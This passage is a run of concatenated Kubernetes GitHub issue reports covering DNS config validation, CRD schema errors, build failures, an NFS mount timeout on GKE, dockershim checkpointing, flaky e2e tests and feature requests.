rest_client_   metrics with an environment variable or command line flag.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1800.7.0\r version_id=1800.7.0\r build_id=2018-08-15-2254\r pretty_name=\ container linux by coreos 1800.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  linux ip-10-155-66-77.ec2.internal 4.14.63-coreos  1 smp wed aug 15 22:26:16 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux \r - controller-manager version: v1.11.1\r - prometheus version: v2.2.1\r

what happened  :\r \r when i create a pod with specified dnsconfig, the validation says my spec is invalid.\r \r    yaml\r dnsconfig:\r   nameservers:\r   - 10.121.201.115\r   - 10.127.219.115\r   searches:\r   - \ example.com.\ \r    \r \r and the error is like below:\r \r    \r   spec.template.spec.dnsconfig.searches 0 : invalid value: \ example.\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r    \r \r   what you expected to happen  :\r \r the spec should be accepted as it is totally fine to have trailing period.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.3

what happened  :\r cannot create a crd if both  validation.openapiv3schema.oneof  and  subresources.status  are specified\r   what you expected to happen  :\r we use  oneof  for validation but this blocks from using  subresources.status  in the same time\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r     name: tests.test.test\r spec:\r     group: test.test\r     version: v1\r     scope: namespaced\r     names:\r         kind: test\r         plural: tests\r         shortnames:\r             - tst\r         singular: test\r     subresources:\r         status: {}\r     validation:\r         openapiv3schema:\r             oneof:\r                 - properties:   standalone schema\r                       spec:\r                           properties:\r                               type:\r                                   type: string\r                                   pattern: \ ^standalone$\ \r                 - properties:   replicaset schema\r                       spec:\r                           properties:\r                               type:\r                                   type: string\r                                   pattern: \ ^replicaset$\ \r    \r \r results in the following exception:\r  the customresourcedefinition \ tests.test.test\  is invalid: spec.validation.openapiv3schema: invalid value: apiextensions.jsonschemaprops{...}: must only have \ properties\ , \ required\  or \ description\  at the root if the status subresource is enabled \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.3\ , gitcommit:\ 5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0\ , gittreestate:\ clean\ , builddate:\ 2019-06-07t09:55:27z\ , goversion:\ go1.12.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.6\ , gitcommit:\ b1d75deca493a24a2f87eb1efde1a569e52fc8d9\ , gittreestate:\ clean\ , builddate:\ 2018-12-16t04:30:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

i'm using mac os x, and installed juju via  brew .  cannot deploy under  juju  since it is checking for packages and stuff.      bas starting cluster using provider: juju ... calling verify-prereqs ... detected missing dependencies.. running ... add-apt-repository ppa:juju/stable sudo: add-apt-repository: command not found josemoreira@macbook-pro-de-jm ~/a/kubernetes>      fixed up editing prereqs to check if  juju  and  juju-quickstart  are available trough  brew .      josemoreira@macbook-pro-de-jm ~/a/kubernetes> cluster/kube-up.sh  starting cluster using provider: juju ... calling verify-prereqs ok ... calling kube-up

when i fail to build using  make , i get something like this:      +++  1013 16:30:34  linux/amd64: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 +++  1013 16:30:34  linux/386: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 +++  1013 16:30:34  linux/arm: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 +++  1013 16:30:34  darwin/amd64: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 +++  1013 16:30:34  darwin/386: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390   'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 +++  1013 16:30:34  windows/amd64: go build started   k8s.io/kubernetes/test/e2e _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\  !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390                                                                                                                                      130/1686    'go install \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${goldflags}\  \ ${nonstatics @ :+${nonstatics @ }}\ ' exited with status 2 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:390 kube::golang::build_binaries_for_platform ...    2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:506 kube::golang::build_binaries ...    3: hack/build-cross.sh:31 main ...  exiting with status 1 !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:446   '  kube::golang::setup_env; local host_platform; host_platform=$ kube::golang::host_platform ; local goflags goldflags; eval \ goflags= ${kube_goflags:-} \ ; goldflags=\ ${kube_goldflags:-} $ kube::version ::ldflags \ ; local use_go_build; local -a targets=  ; local arg; for arg in \ $@\ ; do     if    \ ${arg}\  == \ --use_go_build\    ; then         use_go_build=true;     else         if    \ ${arg}\  == -    ; then             goflags+= \ ${arg}\  ;         else             targets+= \ ${arg}\  ;         fi;     fi; done; if    ${ targets @ } -eq 0   ; then     targets= \ ${kube_all_targets @ }\  ; fi; local -a platforms= \ ${kube_build_platforms @ :+${kube_build_platforms @ }}\  ; if    ${ platforms @ } -eq 0   ; then     platforms= \ ${host_platform}\  ; fi; local binaries; binaries= $ kube::golang::binaries_from_targets \ ${targets @ }\   ; local parallel=false; if    ${ platforms @ } -gt 1   ; then     local gigs; gigs=$ kube::golang::get_physmem ; if    ${gigs} -ge ${kube_parallel_build_memory}   ; then         kube::log::status \ multiple platforms requested and available ${gigs}g >= threshold ${kube_parallel_build_memory}g, building platforms in parallel\ ; parallel=true;     else         kube::log::status \ multiple platforms requested, but available ${gigs}g < threshold ${kube_parallel_build_memory}g, building platforms in serial\ ; parallel=false;     fi; fi; if    \ ${parallel}\  == \ true\    ; then     kube::log::status \ building go targets for ${platforms @ } in parallel  output will appear in a burst when complete :\  \ ${targets @ }\ ; local platform; for platform in \ ${platforms @ }\ ;     do           kube::golang::set_platform_envs \ ${platform}\ ; kube::log::status \ ${platform}: go build started\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-}; kube::log::status \ ${pl atform}: go build finished\    &> \ /tmp//${platform//\\//_}.build\  &     done; local fails=0; for job in $ jobs -p ;     do         wait ${job} || let \ fails+=1\ ;     done; for platform in \ ${platforms @ }\ ;     do         cat \ /tmp//${platform//\\//_}.build\ ;     done; exit ${fails}; else     for platform in \ ${platforms @ }\ ;     do         kube::log::status \ building go targets for ${platform}:\  \ ${targets @ }\ ; kube::golang::set_platform_envs \ ${platform}\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-};     done; fi  ' exited with status 6 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:446 kube::golang::build_binaries ...    2: hack/build-cross.sh:31 main ...  exiting with status 1 !!! error in build/../build/common.sh:531   '\ ${docker_cmd @ }\  \ $@\ ' exited with status 1 call stack:   1: build/../build/common.sh:531 kube::build::run_build_command ...    2: build/release.sh:32 main ...  exiting with status 1 make:      release  error 1      the important line is:      _output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:23: imported and not used: \ io/ioutil\       it would be really nice if we had saner output, so we could easily see what actually went wrong.

according to @piosz, the \ initial resources\  e2e tests are broken  >50% flaky  and should be fixed.  @piosz for priority.

the nfs example at  /examples/nfs  https://github.com/kubernetes/kubernetes/blob/release-1.2/examples/nfs/readme.md  does not work on google container engine.  the nfs-server runs but the nfs-busybox won't mount the persistentvolumeclaim.  the busybox pod errors out trying to mount the persistent volume claim.      output: mount.nfs: connection timed out      the nfs-pv uses the nfs-server service ip.  both the persistent volume and the persistent volume claim are bound.     i did notice the nfs server logged a warning.       rpcinfo: can't contact rpcbind: : rpc: unable to receive; errno = connection refused      i have tried exposing additional ports 111 tcp/udp  2049/udp but that had no effect.  please help.       kubectl describe service nfs-server name:           nfs-server namespace:      default labels:         <none> selector:       role=nfs-server type:           clusterip ip:         10.19.247.137 port:           <unset> 2049/tcp endpoints:      10.16.3.4:2049 session affinity:   none no events.           kubectl describe pv nfs name:       nfs labels:     <none> status:     bound claim:      default/nfs reclaim policy: retain access modes:   rwx capacity:   1mi message:     source:     type:   nfs  an nfs mount that lasts the lifetime of a pod      server: 10.19.247.137     path:   /     readonly:   false           kubectl describe pvc nfs name:       nfs namespace:  default status:     bound volume:     nfs labels:     <none> capacity:   1mi access modes:   rwx           kubectl describe pod nfs-server-e71xs name:       nfs-server-e71xs namespace:  default node:       gke-fieldphone-32335ca1-node-9o0q/10.128.0.4 start time: fri, 22 apr 2016 13:39:57 -0700 labels:     role=nfs-server status:     running ip:     10.16.3.4 controllers:    replicationcontroller/nfs-server containers:   nfs-server:     container id:   docker://d0f11148b09986163c73baf525d57b4a59b3bce149f1776f117adcb444993a5c     image:      gcr.io/google_containers/volume-nfs     image id:       docker://3f8217a3a8f1e891612aece9cbf8b8defeb1f1ffa39836ebb7de5e03139f56a7     port:       2049/tcp     qos tier:       cpu:  burstable       memory:   besteffort     requests:       cpu:      100m     state:      running       started:      fri, 22 apr 2016 13:39:59 -0700     ready:      true     restart count:  0     environment variables: conditions:   type      status   ready     true  volumes:   default-token-szz1v:     type:   secret  a volume populated by a secret      secretname: default-token-szz1v events:   firstseen lastseen    count   from                        subobjectpath           type        reason      message   --------- --------    -----   ----                        -------------           --------    ------      -------   29m       29m     1   {default-scheduler }                                normal      scheduled   successfully assigned nfs-server-e71xs to gke-fieldphone-32335ca1-node-9o0q   29m       29m     1   {kubelet gke-fieldphone-32335ca1-node-9o0q} spec.containers{nfs-server} normal      pulling     pulling image \ gcr.io/google_containers/volume-nfs\    29m       29m     1   {kubelet gke-fieldphone-32335ca1-node-9o0q} spec.containers{nfs-server} normal      pulled      successfully pulled image \ gcr.io/google_containers/volume-nfs\    29m       29m     1   {kubelet gke-fieldphone-32335ca1-node-9o0q} spec.containers{nfs-server} normal      created     created container with docker id d0f11148b099   29m       29m     1   {kubelet gke-fieldphone-32335ca1-node-9o0q} spec.containers{nfs-server} normal      started     started container with docker id d0f11148b099           kubectl describe pod nfs-busybox-fu4el name:       nfs-busybox-fu4el namespace:  default node:       gke-fieldphone-32335ca1-node-00f2/10.128.0.9 start time: fri, 22 apr 2016 13:49:25 -0700 labels:     name=nfs-busybox status:     pending ip:      controllers:    replicationcontroller/nfs-busybox containers:   busybox:     container id:        image:      busybox     image id:            port:            command:       sh       -c       while true; do date > /mnt/index.html; hostname >> /mnt/index.html; sleep $  $random % 5 + 5  ; done     qos tier:       cpu:  burstable       memory:   besteffort     requests:       cpu:      100m     state:      waiting       reason:       containercreating     ready:      false     restart count:  0     environment variables: conditions:   type      status   ready     false  volumes:   nfs:     type:   persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace      claimname:  nfs     readonly:   false   default-token-szz1v:     type:   secret  a volume populated by a secret      secretname: default-token-szz1v events:   firstseen lastseen    count   from                        subobjectpath   type        reason          message   --------- --------    -----   ----                        -------------   --------    ------          -------   19m       14m     21  {default-scheduler }                        warning     failedscheduling    persistentvolumeclaim is not bound: \ nfs\    13m       13m     4   {default-scheduler }                        warning     failedscheduling    persistentvolumeclaim 'default/nfs' is not in cache   13m       13m     1   {default-scheduler }                        normal      scheduled       successfully assigned nfs-busybox-fu4el to gke-fieldphone-32335ca1-node-00f2   11m       1m      5   {kubelet gke-fieldphone-32335ca1-node-00f2}         warning     failedmount     unable to mount volumes for pod \ nfs-busybox-fu4el_default ce04b0d3-08ca-11e6-a6a8-42010af000bb \ : mount failed: exit status 32 mounting arguments: 10.19.247.137:/ /var/lib/kubelet/pods/ce04b0d3-08ca-11e6-a6a8-42010af000bb/volumes/kubernetes.io~nfs/nfs nfs    output: mount.nfs: connection timed out     11m   1m  5   {kubelet gke-fieldphone-32335ca1-node-00f2}     warning failedsync  error syncing pod, skipping: mount failed: exit status 32 mounting arguments: 10.19.247.137:/ /var/lib/kubelet/pods/ce04b0d3-08ca-11e6-a6a8-42010af000bb/volumes/kubernetes.io~nfs/nfs nfs    output: mount.nfs: connection timed out

docker client doesn't have timestamp of when the image pulled, but we could get it from stat the image file?

we should be able to use helm to put together a relatively simple ci to perform nightly builds and continuous testing for small + focussed repos.

the philosophy of current cri is to only pass configuration  sandboxconfig, containerconfig and imagespec  when creating sandbox, container and image, and only use the reference  id  to manage them after creation.  however, in dockershim, the config is not only needed in the creation function: -   we may need the config in other cri functions.   e.g. the container log is created by docker only after the container is started. so we can only symlink the log files in  startcontainer  instead of  createcontainer . however, we have no information except container id in  startcontainer . -   we may need the config in a periodically sync.   even though the cri is imperative, we may still need a sync loop inside shim to guarantee something which docker can't do for us, such as network related stuff. the config should be check-pointed somewhere, so that the shim can recover state after restart.  if we checkpoint things, shoud we checkpoint the whole config or just fields we need? -   the whole config.     - pros: we can use the versioning of the api object directly.  we don't have object versioning yet    - cons: there may be many thing we'll never use. -   only necessary fields.     - pros: clean.   - cons: we need to manage the checkpoint object separately.  if we checkpoint the whole config, should we checkpoint in a file or docker label? -   write the configuration into files.   extra complexity. the checkpoint lifecycle is independent from container lifecycle, the shim has to manage the lifecycle itself. -   write the configuration into labels.   the checkpoint lifecycle is bound with container lifecycle.  @yujuhong @feiskyer  /cc @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-gci-1.5-upgrade-cluster/19/  multiple broken tests:  failed:  k8s.io  deployment deployment should support rollover {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:70 expected error:     < errors.errorstring | 0xc8204be830>: {         s: \ error waiting for deployment test-rollover-deployment status to match expectation: timed out waiting for the condition\ ,     }     error waiting for deployment test-rollover-deployment status to match expectation: timed out waiting for the condition not to have occurred     issues about this test specifically:  26509  26834  29780  35355  38275   failed:  k8s.io  v1job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc820081f80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  27704  30127  30602  31070   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc820081f80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  kubectl client  k8s.io  kubectl apply should reuse nodeport when apply to an existing svc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:471 expected error:     < errors.errorstring | 0xc8210e2370>: {         s: \ error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://104.197.163.17 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-cr5cd -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-cr5cd/services/redis-master\\\ , \\\ uid\\\ :\\\ e97e3d8b-bcaa-11e6-87ba-42010af0003a\\\ , \\\ resourceversion\\\ :\\\ 24200\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-07t18:28:12z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-cr5cd\\\ }, \\\ spec\\\ :map string interface {}{\\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}, \\\ selector\\\ :map string interface {}{\\\ role\\\ :\\\ master\\\ , \\\ app\\\ :\\\ redis\\\ }, \\\ clusterip\\\ :\\\ 10.99.246.119\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}, \\\ kind\\\ :\\\ service\\\ }\ \  error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\     <nil> 0xc82159dd60 exit status 1 <nil> true  0xc820c0c448 0xc820c0c460 0xc820c0c480   0xc820c0c448 0xc820c0c460 0xc820c0c480   0xc820c0c458 0xc820c0c478   0xa97590 0xa97590  0xc82167c360}:\ command stdout:\ error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-cr5cd/services/redis-master\\\ , \\\ uid\\\ :\\\ e97e3d8b-bcaa-11e6-87ba-42010af0003a\\\ , \\\ resourceversion\\\ :\\\ 24200\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-07t18:28:12z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-cr5cd\\\ }, \\\ spec\\\ :map string interface {}{\\\ ports\\\ :  interface {}{map string interface {}{\\\ protocol\\\ :\\\ tcp\\\ , \\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ }}, \\\ selector\\\ :map string interface {}{\\\ role\\\ :\\\ master\\\ , \\\ app\\\ :\\\ redis\\\ }, \\\ clusterip\\\ :\\\ 10.99.246.119\\\ , \\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}, \\\ kind\\\ :\\\ service\\\ }\ \ \ stderr:\ error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://104.197.163.17 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-cr5cd -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-cr5cd/services/redis-master\ , \ uid\ :\ e97e3d8b-bcaa-11e6-87ba-42010af0003a\ , \ resourceversion\ :\ 24200\ , \ creationtimestamp\ :\ 2016-12-07t18:28:12z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-cr5cd\ }, \ spec\ :map string interface {}{\ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}, \ selector\ :map string interface {}{\ role\ :\ master\ , \ app\ :\ redis\ }, \ clusterip\ :\ 10.99.246.119\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}, \ kind\ :\ service\ }           error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found         <nil> 0xc82159dd60 exit status 1 <nil> true  0xc820c0c448 0xc820c0c460 0xc820c0c480   0xc820c0c448 0xc820c0c460 0xc820c0c480   0xc820c0c458 0xc820c0c478   0xa97590 0xa97590  0xc82167c360}:     command stdout:     error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-cr5cd/services/redis-master\ , \ uid\ :\ e97e3d8b-bcaa-11e6-87ba-42010af0003a\ , \ resourceversion\ :\ 24200\ , \ creationtimestamp\ :\ 2016-12-07t18:28:12z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-cr5cd\ }, \ spec\ :map string interface {}{\ ports\ :  interface {}{map string interface {}{\ protocol\ :\ tcp\ , \ port\ :6379, \ targetport\ :\ redis-server\ }}, \ selector\ :map string interface {}{\ role\ :\ master\ , \ app\ :\ redis\ }, \ clusterip\ :\ 10.99.246.119\ , \ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}, \ kind\ :\ service\ }               stderr:     error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found          error:     exit status 1      not to have occurred     issues about this test specifically:  28523  35741  37820

apologies if this is already possible but i didn't see it in the docs \r \r you should be able to optionally have an init container that doesn't block the startup of the rest of the\r containers in the pod.\r \r the situation is this: with mongodb you have to run some  imperative commands to set up replication  https://docs.mongodb.com/manual/tutorial/deploy-replica-set/ \r \r to do this, i need a running mongo instance to issue those commands against.\r \r ideally, the container that ran these commands would be an init container, since it should really only run once then exit.\r \r however, given the fact that i depend on another container  which is the main process  i now have\r two containers, the main container and the would-be init container which just sleeps.\r \r not the end of the world, but not awesome either.\r \r @smarterclayton \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ system-reserved\ \r \ schedulable resources and eviction policies\ \r \ covered by the eviction threshold\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r documentation  i realize that's neither of the choices above \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.3\r \r ---\r \r the \  schedulable resources and eviction policies  https://kubernetes.io/docs/concepts/cluster-administration/out-of-resource/ schedulable-resources-and-eviction-policies \  section of the cluster administration guide provides an example that is very difficult to make sense of. apologies if i'm just having a particularly difficult time with it, but i suspect others do to.\r \r the crux is that it's unclear why the value provided to  system-reserved  should cover the eviction threshold. i have come at this a few ways and although i  think  i can come up with a reason why it's smarter to do it this way, i can't come up with a reason why it makes the technical implications any different than not covering the eviction threshold.\r \r that is to say in the example - without trying to get too far into my understanding of this section - kubelet will start evicting pods whenever the total system memory free falls below 500mi. whether that's because  system-reserved  was set to 1.5gi, the system used over 1gi, and the rest of the system memory was consumed by other processes, or because  system-reserved  was set to 1gi, the system is using that much, and the rest of the system memory was consumed by other processes, the implications are the same - the node will report a memorypressure condition and kubelet will evict pods, producing a gap between the amount of memory the node reports as available for scheduling and the amount it can actually utilized  in this case up to, 500mi .\r \r if my understanding is correct, i think that means that in addition to this section not being as clear as it could be, the statement \ or the system is using more than 500mi\  should actually read \ or the system is using more than 1gi\ , but i realize that suggestion may just further illustrate that i don't understand what this section is trying to tell me.\r \r i'd be happy to rewrite this section to make it more clear if anyone who can explain to me what it's trying to communicate would rather not rewrite it themselves.\r \r thanks.

what keywords did you search in kubernetes issues before filing this one?   ingress controller dns name\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r when deploying an ingress controller on azure, kubernetes helpfully creates a public ip address.\r \r it would be useful to set the \ dns name label\  of the created ip address based on an annotation in the deployment. cnames can then be used to point to this azure dns name, resulting in a  more  stable dns configuration if the ingress controller is deleted and recreated.\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2\r -   kernel    e.g.  uname -a  : linux k8s-master-30143214-0 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:29:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : -\r -   others  : -\r \r downstream issue https://github.com/azure/acs-engine/issues/517

